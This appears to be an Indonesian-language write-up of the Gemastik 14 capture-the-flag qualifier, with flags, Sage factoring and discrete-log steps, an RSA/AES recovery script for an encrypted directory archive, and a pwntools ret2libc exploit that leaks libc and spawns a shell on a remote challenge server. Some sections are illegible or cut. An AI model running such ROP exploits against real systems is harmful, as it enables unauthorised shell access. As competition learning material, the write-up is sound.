

WRITEUP CTF  
Gemastik 14  
by

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## Misc

## Sanity Check

Tinggal submit flag

Flag: gemastik14{\_\_Welcome\_to\_Gemastik\_XIV\_\_}



# Forensics

[illegible]



```
root@kali: /media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded# python3 solution.py
[+] Opening connection to 54.169.77.27 on port 10020: Done
ct 3321498338429696720213327123508278575413022040495706297539208978060
cx 7076273501951349449159066051939899545458859322139875677792796328558
cy 109680111713530465214407769731795282888239262950720638174161122190
cz 45437599184220656553364199396922939823690465559900329036812212958727
N 11891019394264893660914179850696407088916485552241807583344464607913
root@kali: /media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded#
```

```
sage: factor(11891019394264893660914179850696407088916485552241807583344464607913)
183288938376007721884044649921 * 64875815745471153185963343030314770153
```

```
sage: x = 2
.....: cx = 7076273501951349449159066051939899545458859322139875677792796328558
.....: N = 11891019394264893660914179850696407088916485552241807583344464607913
.....: p = 183288938376007721884044649921
.....:
.....: F = GF(p)
.....: e = F(cx).log(F(x))
.....: assert pow(x, e, N) == cx
.....:
sage: e
1165378559347733292949
sage:
```

Setelah didapat nilai  $p$ ,  $q$ ,  $N$ , dan  $e$ , proses dekripsi ciphertekstnya cukup trivial dan didapatkan flag berikut.

```
root@kali:/media/sf_CTF/2021/Gemastik/quals/crypto/Blindfolded# python3 solution.py
[+] Opening connection to 54.169.77.27 on port 10020: Done
gemastik14{GCD_sav3d_7he_d4y_nangid}
```

Flag: gemastik14{GCD\_sav3d\_7he\_d4y\_nangid}





```
out.write(encrypt(compress_dir(), os.urandom(16), RSA.import_key(public_key)))
out.close()
```

Jika diteliti, script yang dihasilkan mengisi file 'slythered' dengan hal-hal berikut:

1. String 'slyt'
2. Nonce dari cipher AES
3. Key AES yang terenkripsi bersama n dan e dari RSA
4. Isi dari current directory yang terkompres

Key AES sendiri dienkripsi dengan RSA yang  $n$  dan  $e$  nya diketahui. Nilai  $n$  ada pada factordb sehingga  $d$  dari RSA dapat diketahui dan Key AES dapat di-recover.

Karena Nonce dan Key dari AES sudah diketahui, ciphertext juga dapat di-recover.

Selanjutnya, tinggal decompress plaintext (isi directory) lalu didapatkan DS\_Store yang jika di-extract dengan foremost berisi 4 buah gambar yang jika disatukan menjadi flag.

Berikut script untuk recovery sampai plaintext didapatkan.

```
import zlib, os
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import gmpy

f = open('slythered', 'rb')
data = f.read()
f.close()

slyt = data[:4]
nonce = data[4:20]
key = data[20:40]
ciphertext = data[40:]
unpad_key = key[:-3]

public_key = '-----BEGIN PUBLIC
KEY-----\nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAp6i5d8BD0ZL/fbsZtrTB6kCAwEAAQ==\n-----END
PUBLIC KEY-----'
rsa_key = RSA.import_key(public_key)

# factordb
p = 26962216988344497907
q = 33062139214751393267
long_key = bytes_to_long(unpad_key)

phi = (p - 1) * (q - 1)
d = gmpy.invert(rsa_key.e, phi)
aes_key = long_to_bytes(pow(long_key, d, rsa_key.n))
cipher = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)

decompressed = zlib.decompress(plaintext)
```



- Leak address libc dari setvbuf (untuk mendapatkan address system)
- Kembali ke main untuk ROPChain kedua
- Panggil system

```
from pwn import *

# r = process('./pepega')
r = remote('54.179.3.37', 10030)

setvbuf_got = 0x404028
puts_plt = 0x401030
main = 0x4011D9

poprsi = 0x00401291
poprdi = 0x00401293
ret = 0x004011d8

payload = 'A'*0x100 + 'A'*0x8 + p64(poprdi) + p64(setvbuf_got) + p64(puts_plt) + p64(main)
r.sendline(payload)

r.recvline()
leak = r.recv(6)
setvbuf_libc = u64(leak.ljust(8, '\x00'))
print hex(setvbuf_libc)

libc_base = setvbuf_libc - 0x087e60
system = libc_base + 0x055410
binsh = libc_base + 0x1b75aa

payload = 'A'*0x100 + 'A'*0x8 + p64(ret) + p64(poprdi) + p64(binsh) + p64(system)
r.sendline(payload)

r.interactive()
```

```
Flag: gemastik14{punken_php_tadi_misconfig_sadge_ini_free_flag_lagi_g9psodfbdnsdv35a}
```

[illegible]

```
# If we failed too many times, then we're locked out.
elif self._failed_pin_auth > 10:
    exhausted = True
```

**F**

[illegible]